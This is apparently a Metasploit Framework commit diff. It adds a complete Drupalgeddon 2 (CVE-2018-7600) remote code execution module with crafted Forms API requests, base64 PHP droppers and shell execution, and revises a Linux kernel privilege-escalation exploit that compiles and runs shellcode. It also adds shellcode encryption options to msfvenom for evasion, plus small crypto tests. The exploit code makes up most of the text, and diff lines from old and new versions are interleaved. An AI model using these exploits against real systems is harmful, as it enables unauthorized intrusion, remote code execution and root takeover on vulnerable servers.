[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ]
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ]
],
'DisclosureDate' => 'Aug 13 2009',
'DefaultTarget' => 0))
register_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
OptBool.new('DEBUG_EXPLOIT', [ true, "Make the exploit executable be verbose about what it's doing", false ])
]
end
def executable_path
@executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
def base_dir
datastore['WritableDir']
end
@executable_path
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def check
version = Gem::Version.new kernel_release.split('-').first
if version.to_s.eql? ''
vprint_error 'Could not determine the kernel version'
return CheckCode::Unknown
end
if version.between?(Gem::Version.new('2.4.4'), Gem::Version.new('2.4.37.4')) ||
version.between?(Gem::Version.new('2.6.0'), Gem::Version.new('2.6.30.4'))
vprint_good "Kernel version #{version} appears to be vulnerable"
else
vprint_error "Kernel version #{version} is not vulnerable"
return CheckCode::Safe
end
arch = kernel_hardware
unless arch.include?('x86') || arch =~ /i\d86/
vprint_error "System architecture #{arch} is not supported"
return CheckCode::Safe
end
if arch.include? 'x86_64'
vprint_error "System architecture #{arch} is not supported"
return CheckCode::Safe
end
vprint_good "System architecture #{arch} is supported"
mmap_min_addr_path = '/proc/sys/vm/mmap_min_addr'
if file_exist? mmap_min_addr_path
mmap_min_addr = read_file mmap_min_addr_path
else
mmap_min_addr = ''
end
case mmap_min_addr
when ''
vprint_good 'vm.mmap_min_addr is not set'
when '0'
vprint_good 'vm.mmap_min_addr is zero'
else
vprint_error "vm.mmap_min_addr (#{mmap_min_addr}) is not zero"
return CheckCode::Safe
end
CheckCode::Appears
end
def exploit
sc = Metasm::ELF.new(@cpu)
if check == CheckCode::Safe
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
sc = Metasm::ELF.new @cpu
sc.parse %Q|
#ifdef __ELF__
.section ".bss" rwx
.section ".text" rwx
#endif
|
current_task_struct_h(sc)
if datastore["DEBUG_EXPLOIT"]
current_task_struct_h sc
if datastore['DEBUG_EXPLOIT']
cparser.parse "#define DEBUG\n"
end
case target.arch.first
when ARCH_X86
main = %q^
main = %q^
struct _IO_FILE;
typedef void _IO_lock_t;
@ -244,6 +312,7 @@ int *apparmor_enabled;
int got_ring0 = 0;
unsigned long uid, gid;
/*
static unsigned long get_kernel_sym(char *name)
{
FILE *f;
@ -278,7 +347,7 @@ static unsigned long get_kernel_sym(char *name)
fclose(f);
return 0;
}
*/
static void
change_cred(void)
@ -403,24 +472,22 @@ int main(int argc, char **argv) {
return got_ring0;
}
^
main.gsub!(/SHELLCODE/) do
# Split the payload into chunks and dump it out as a hex-escaped
# literal C string.
Rex::Text.to_c(payload.encoded, 64, "shellcode")
end
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
cparser.parse(main, "main.c")
#$stderr.puts cparser.factorize
#return
asm = cpu.new_ccompiler(cparser, sc).compile
sc.parse asm
main.gsub!(/SHELLCODE/) do
# Split the payload into chunks and dump it out as a hex-escaped
# literal C string.
Rex::Text.to_c payload.encoded, 64, 'shellcode'
end
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
cparser.parse main, 'main.c'
#$stderr.puts cparser.factorize
#return
asm = cpu.new_ccompiler(cparser, sc).compile
sc.parse asm
sc.assemble
sc.c_set_default_entrypoint
@ -429,7 +496,7 @@ int main(int argc, char **argv) {
elf = sc.encode_string
else
foo = sc.encode_string
elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)
elf = Msf::Util::EXE.to_linux_x86_elf framework, foo
end
rescue
print_error "Metasm Encoding failed: #{$!}"
@ -438,11 +505,13 @@ int main(int argc, char **argv) {
return
end
print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)"
rm_f executable_path
write_file(executable_path, elf)
output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
output.each_line { |line| vprint_status(line.chomp) }
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 8..12}"
upload payload_path, elf
cmd_exec "chmod +x #{payload_path}"
print_status 'Executing payload...'
output = cmd_exec payload_path
output.each_line { |line| vprint_status line.chomp }
end
end

View File

@ -0,0 +1,443 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
# XXX: CmdStager can't handle badchars
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection',
'Description' => %q{
This module exploits a Drupal property injection in the Forms API.
Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
},
'Author' => [
'Jasper Mattsson', # Vulnerability discovery
'a2u', # Proof of concept (Drupal 8.x)
'Nixawk', # Proof of concept (Drupal 8.x)
'FireFart', # Proof of concept (Drupal 7.x)
'wvu' # Metasploit module
],
'References' => [
['CVE', '2018-7600'],
['URL', 'https://www.drupal.org/sa-core-2018-002'],
['URL', 'https://greysec.net/showthread.php?tid=2912'],
['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
['URL', 'https://github.com/a2u/CVE-2018-7600'],
['URL', 'https://github.com/nixawk/labs/issues/19'],
['URL', 'https://github.com/FireFart/CVE-2018-7600'],
['AKA', 'SA-CORE-2018-002'],
['AKA', 'Drupalgeddon 2']
],
'DisclosureDate' => 'Mar 28 2018',
'License' => MSF_LICENSE,
'Platform' => ['php', 'unix', 'linux'],
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Payload' => {'BadChars' => '&>\''},
# XXX: Using "x" in Gem::Version::new isn't technically appropriate
'Targets' => [
#
# Automatic targets (PHP, cmd/unix, native)
#
['Automatic (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_memory
],
['Automatic (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_dropper
],
['Automatic (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory
],
['Automatic (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
],
#
# Drupal 7.x targets (PHP, cmd/unix, native)
#
['Drupal 7.x (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('7.x'),
'Type' => :php_memory
],
['Drupal 7.x (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('7.x'),
'Type' => :php_dropper
],
['Drupal 7.x (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => Gem::Version.new('7.x'),
'Type' => :unix_memory
],
['Drupal 7.x (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => Gem::Version.new('7.x'),
'Type' => :linux_dropper
],
#
# Drupal 8.x targets (PHP, cmd/unix, native)
#
['Drupal 8.x (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('8.x'),
'Type' => :php_memory
],
['Drupal 8.x (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('8.x'),
'Type' => :php_dropper
],
['Drupal 8.x (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => Gem::Version.new('8.x'),
'Type' => :unix_memory
],
['Drupal 8.x (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => Gem::Version.new('8.x'),
'Type' => :linux_dropper
]
],
'DefaultTarget' => 0, # Automatic (PHP In-Memory)
'DefaultOptions' => {'WfsDelay' => 2}
))
register_options([
OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']),
OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),
OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])
])
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
])
end
def check
checkcode = CheckCode::Safe
if drupal_version
print_status("Drupal #{@version} targeted at #{full_uri}")
checkcode = CheckCode::Detected
else
print_error('Could not determine Drupal version to target')
return CheckCode::Unknown
end
if drupal_unpatched?
print_good('Drupal appears unpatched in CHANGELOG.txt')
checkcode = CheckCode::Appears
end
token = random_crap
res = execute_command(token, func: 'printf')
if res && res.body.start_with?(token)
checkcode = CheckCode::Vulnerable
end
checkcode
end
def exploit
unless check == CheckCode::Vulnerable || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
if datastore['PAYLOAD'] == 'cmd/unix/generic'
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
# XXX: Naughty datastore modification
datastore['DUMP_OUTPUT'] = true
end
# NOTE: assert() is attempted first, then PHP_FUNC if that fails
case target['Type']
when :php_memory
execute_command(payload.encoded, func: 'assert')
sleep(wfs_delay)
return if session_created?
# XXX: This will spawn a *very* obvious process
execute_command("php -r '#{payload.encoded}'")
when :unix_memory
execute_command(payload.encoded)
when :php_dropper, :linux_dropper
dropper_assert
sleep(wfs_delay)
return if session_created?
dropper_exec
end
end
def dropper_assert
php_file = Pathname.new(
"#{datastore['WritableDir']}/#{random_crap}.php"
).cleanpath
# Return the PHP payload or a PHP binary dropper
dropper = get_write_exec_payload(
writable_path: datastore['WritableDir'],
unlink_self: true # Worth a shot
)
# Encode away potential badchars with Base64
dropper = Rex::Text.encode_base64(dropper)
# Stage 1 decodes the PHP and writes it to disk
stage1 = %Q{
file_put_contents("#{php_file}", base64_decode("#{dropper}"));
}
# Stage 2 executes said PHP in-process
stage2 = %Q{
include_once("#{php_file}");
}
# :unlink_self may not work, so let's make sure
register_file_for_cleanup(php_file)
# Hopefully pop our shell with assert()
execute_command(stage1.strip, func: 'assert')
execute_command(stage2.strip, func: 'assert')
end
def dropper_exec
php_file = "#{random_crap}.php"
tmp_file = Pathname.new(
"#{datastore['WritableDir']}/#{php_file}"
).cleanpath
# Return the PHP payload or a PHP binary dropper
dropper = get_write_exec_payload(
writable_path: datastore['WritableDir'],
unlink_self: true # Worth a shot
)
# Encode away potential badchars with Base64
dropper = Rex::Text.encode_base64(dropper)
# :unlink_self may not work, so let's make sure
register_file_for_cleanup(php_file)
# Write the payload or dropper to disk (!)
# NOTE: Analysis indicates > is a badchar for 8.x
execute_command("echo #{dropper} | base64 -d | tee #{php_file}")
# Attempt in-process execution of our PHP script
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, php_file)
)
sleep(wfs_delay)
return if session_created?
# Try to get a shell with PHP CLI
execute_command("php #{php_file}")
sleep(wfs_delay)
return if session_created?
register_file_for_cleanup(tmp_file)
# Fall back on our temp file
execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")
execute_command("php #{tmp_file}")
end
def execute_command(cmd, opts = {})
func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'
vprint_status("Executing with #{func}(): #{cmd}")
res =
case @version.to_s
when '7.x'
exploit_drupal7(func, cmd)
when '8.x'
exploit_drupal8(func, cmd)
end
if res && res.code != 200
print_error("Unexpected reply: #{res.inspect}")
return
end
if res && datastore['DUMP_OUTPUT']
print_line(res.body)
end
res
end
def drupal_version
if target['Version']
@version = target['Version']
return @version
end
res = send_request_cgi(
'method' => 'GET',
'uri' => target_uri.path
)
return unless res && res.code == 200
# Check for an X-Generator header
@version =
case res.headers['X-Generator']
when /Drupal 7/
Gem::Version.new('7.x')
when /Drupal 8/
Gem::Version.new('8.x')
end
return @version if @version
# Check for a <meta> tag
generator = res.get_html_document.at(
'//meta[@name = "Generator"]/@content'
)
return unless generator
@version =
case generator.value
when /Drupal 7/
Gem::Version.new('7.x')
when /Drupal 8/
Gem::Version.new('8.x')
end
end
def drupal_unpatched?
unpatched = true
# Check for patch level in CHANGELOG.txt
uri =
case @version.to_s
when '7.x'
normalize_uri(target_uri.path, 'CHANGELOG.txt')
when '8.x'
normalize_uri(target_uri.path, 'core/CHANGELOG.txt')
end
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200
if res.body.include?('SA-CORE-2018-002')
unpatched = false
end
unpatched
end
def exploit_drupal7(func, code)
vars_get = {
'q' => 'user/password',
'name[#post_render][]' => func,
'name[#markup]' => code,
'name[#type]' => 'markup'
}
vars_post = {
'form_id' => 'user_pass',
'_triggering_element_name' => 'name'
}
res = send_request_cgi(
'method' => 'POST',
'uri' => target_uri.path,
'vars_get' => vars_get,
'vars_post' => vars_post
)
return res unless res && res.code == 200
form_build_id = res.get_html_document.at(
'//input[@name = "form_build_id"]/@value'
)
return res unless form_build_id
vars_get = {
'q' => "file/ajax/name/#value/#{form_build_id.value}"
}
vars_post = {
'form_build_id' => form_build_id.value
}
send_request_cgi(
'method' => 'POST',
'uri' => target_uri.path,
'vars_get' => vars_get,
'vars_post' => vars_post
)
end
def exploit_drupal8(func, code)
# Clean URLs are enabled by default and "can't" be disabled
uri = normalize_uri(target_uri.path, 'user/register')
vars_get = {
'element_parents' => 'account/mail/#value',
'ajax_form' => 1,
'_wrapper_format' => 'drupal_ajax'
}
vars_post = {
'form_id' => 'user_register_form',
'_drupal_ajax' => 1,
'mail[#type]' => 'markup',
'mail[#post_render][]' => func,
'mail[#markup]' => code
}
send_request_cgi(
'method' => 'POST',
'uri' => uri,
'vars_get' => vars_get,
'vars_post' => vars_post
)
end
def random_crap
Rex::Text.rand_text_alphanumeric(8..42)
end
end

View File

@ -63,12 +63,13 @@ def parse_args(args)
opt = OptionParser.new
banner = "MsfVenom - a Metasploit standalone payload generator.\n"
banner << "Also a replacement for msfpayload and msfencode.\n"
banner << "Usage: #{$0} [options] <var=val>"
banner << "Usage: #{$0} [options] <var=val>\n"
banner << "Example: #{$0} -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe"
opt.banner = banner
opt.separator('')
opt.separator('Options:')
opt.on('-p', '--payload <payload>', String,
opt.on('-p', '--payload <payload>', String,
'Payload to use. Specify a \'-\' or stdin to use custom payloads') do |p|
if p == '-'
opts[:payload] = 'stdin'
@ -81,18 +82,18 @@ def parse_args(args)
opts[:list_options] = true
end
opt.on('-l', '--list [type]', Array, 'List a module type. Options are: payloads, encoders, nops, all') do |l|
opt.on('-l', '--list [type]', Array, 'List a module type. Options are: payloads, encoders, nops, all') do |l|
if l.nil? or l.empty?
l = ["all"]
end
opts[:list] = l
end
opt.on('-n', '--nopsled <length>', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n|
opt.on('-n', '--nopsled <length>', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n|
opts[:nops] = n.to_i
end
opt.on('-f', '--format <format>', String, "Output format (use --help-formats for a list)") do |f|
opt.on('-f', '--format <format>', String, "Output format (use --help-formats for a list)") do |f|
opts[:format] = f
end
@ -105,15 +106,34 @@ def parse_args(args)
raise HelpError, msg
end
opt.on('-e', '--encoder <encoder>', String, 'The encoder to use') do |e|
opt.on('--encrypt <value>', String, 'The type of encryption or encoding to apply to the shellcode') do |e|
opts[:encryption_format] = e
end
opt.on('--encrypt-formats', String, 'List Available encryption formats') do
init_framework(:module_types => [])
msg = "Encryption formats:\n" +
"\t" + ::Msf::Simple::Buffer.encryption_formats.join(", ")
raise HelpError, msg
end
opt.on('--encrypt-key <value>', String, 'A key to be used for the encryptor') do |e|
opts[:encryption_key] = e
end
opt.on('--encrypt-iv <value>', String, 'An initialization vector for the encryption') do |e|
opts[:encryption_iv] = e
end
opt.on('-e', '--encoder <encoder>', String, 'The encoder to use') do |e|
opts[:encoder] = e
end
opt.on('-a', '--arch <arch>', String, 'The architecture to use') do |a|
opt.on('-a', '--arch <arch>', String, 'The architecture to use') do |a|
opts[:arch] = a
end
opt.on('--platform <platform>', String, 'The platform of the payload') do |l|
opt.on('--platform <platform>', String, 'The platform of the payload') do |l|
opts[:platform] = l
end
@ -126,28 +146,28 @@ def parse_args(args)
raise HelpError, msg
end
opt.on('-s', '--space <length>', Integer, 'The maximum size of the resulting payload') do |s|
opt.on('-s', '--space <length>', Integer, 'The maximum size of the resulting payload') do |s|
opts[:space] = s
end
opt.on('--encoder-space <length>', Integer, 'The maximum size of the encoded payload (defaults to the -s value)') do |s|
opt.on('--encoder-space <length>', Integer, 'The maximum size of the encoded payload (defaults to the -s value)') do |s|
opts[:encoder_space] = s
end
opt.on('-b', '--bad-chars <list>', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b|
opt.on('-b', '--bad-chars <list>', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b|
init_framework()
opts[:badchars] = Rex::Text.hex_to_raw(b)
end
opt.on('-i', '--iterations <count>', Integer, 'The number of times to encode the payload') do |i|
opt.on('-i', '--iterations <count>', Integer, 'The number of times to encode the payload') do |i|
opts[:iterations] = i
end
opt.on('-c', '--add-code <path>', String, 'Specify an additional win32 shellcode file to include') do |x|
opt.on('-c', '--add-code <path>', String, 'Specify an additional win32 shellcode file to include') do |x|
opts[:add_code] = x
end
opt.on('-x', '--template <path>', String, 'Specify a custom executable file to use as a template') do |x|
opt.on('-x', '--template <path>', String, 'Specify a custom executable file to use as a template') do |x|
opts[:template] = x
end
@ -155,11 +175,11 @@ def parse_args(args)
opts[:keep] = true
end
opt.on('-o', '--out <path>', 'Save the payload') do |x|
opt.on('-o', '--out <path>', 'Save the payload') do |x|
opts[:out] = x
end
opt.on('-v', '--var-name <name>', String, 'Specify a custom variable name to use for certain output formats') do |x|
opt.on('-v', '--var-name <name>', String, 'Specify a custom variable name to use for certain output formats') do |x|
opts[:var_name] = x
end
@ -336,8 +356,8 @@ if generator_opts[:list_options]
$stderr.puts "Advanced options for #{payload_mod.fullname}:\n\n"
$stdout.puts ::Msf::Serializer::ReadableText.dump_advanced_options(payload_mod, ' ')
$stderr.puts "Evasion options for #{payload_mod.fullname}:\n\n"
$stdout.puts ::Msf::Serializer::ReadableText.dump_evasion_options(payload_mod, ' ')
$stderr.puts "Encryption options for #{payload_mod.fullname}:\n\n"
$stdout.puts ::Msf::Serializer::ReadableText.dump_encrypt_options(payload_mod, ' ')
exit(0)
end

View File

@ -1056,7 +1056,7 @@ RSpec.describe Msf::PayloadGenerator do
}
}
it 'applies the appropriate transform format' do
expect(::Msf::Simple::Buffer).to receive(:transform).with(shellcode, 'c', 'buf')
expect(::Msf::Simple::Buffer).to receive(:transform).with(shellcode, 'c', 'buf', {})
payload_generator.format_payload(shellcode)
end
end

View File

@ -0,0 +1,62 @@
require 'spec_helper'
require 'securerandom'
RSpec.describe Rex::Crypto do
let(:iv) {
SecureRandom.random_bytes(16)
}
let(:key) {
SecureRandom.random_bytes(32)
}
let(:value) {
'Hello World'
}
describe '#encrypt_aes256' do
it 'raises an exception due to a short IV' do
iv = SecureRandom.random_bytes(1)
# Because it could raise either a OpenSSL::Cipher::CipherError or an ArgumentError
# dependong on the environment, we will just expect it to raise an exception
expect { Rex::Crypto.encrypt_aes256(iv, key, value) }.to raise_exception
end
it 'raises an exception due to a short key' do
key = SecureRandom.random_bytes(1)
# Because it could raise either a OpenSSL::Cipher::CipherError or an ArgumentError
# dependong on the environment, we will just expect it to raise an exception
expect { Rex::Crypto.encrypt_aes256(iv, key, value) }.to raise_exception
end
it 'encrypts the string Hello World' do
encrypted_str = Rex::Crypto.encrypt_aes256(iv, key, value)
expect(encrypted_str).not_to eq(value)
end
end
describe '#decrypt_aes256' do
it 'raises an exception due to a short IV' do
iv = SecureRandom.random_bytes(1)
# Because it could raise either a OpenSSL::Cipher::CipherError or an ArgumentError
# dependong on the environment, we will just expect it to raise an exception
expect { Rex::Crypto.decrypt_aes256(iv, key, value) }.to raise_exception
end
it 'raises an exception due to a short key' do
key = SecureRandom.random_bytes(1)
# Because it could raise either a OpenSSL::Cipher::CipherError or an ArgumentError
# dependong on the environment, we will just expect it to raise an exception
expect { Rex::Crypto.decrypt_aes256(iv, key, value) }.to raise_exception
end
it 'decrypts the value to Hello World' do
encrypted_str = Rex::Crypto.encrypt_aes256(iv, key, value)
decrypted_str = Rex::Crypto.decrypt_aes256(iv, key, encrypted_str)
expect(decrypted_str).to eq(value)
end
end
end

View File

@ -0,0 +1,28 @@
require 'spec_helper'
require 'securerandom'
RSpec.describe Rex::Crypto do
describe '#rc4' do
let(:key) {
SecureRandom.random_bytes(32)
}
let(:value) {
'Hello World'
}
it 'encrypts a string' do
expect(Rex::Crypto.rc4(key, value)).not_to eq(value)
end
it 'decrypts a string' do
encrypted_str = Rex::Crypto.rc4(key, value)
decrypted_str = Rex::Crypto.rc4(key, encrypted_str)
expect(decrypted_str).to eq(value)
end
end
end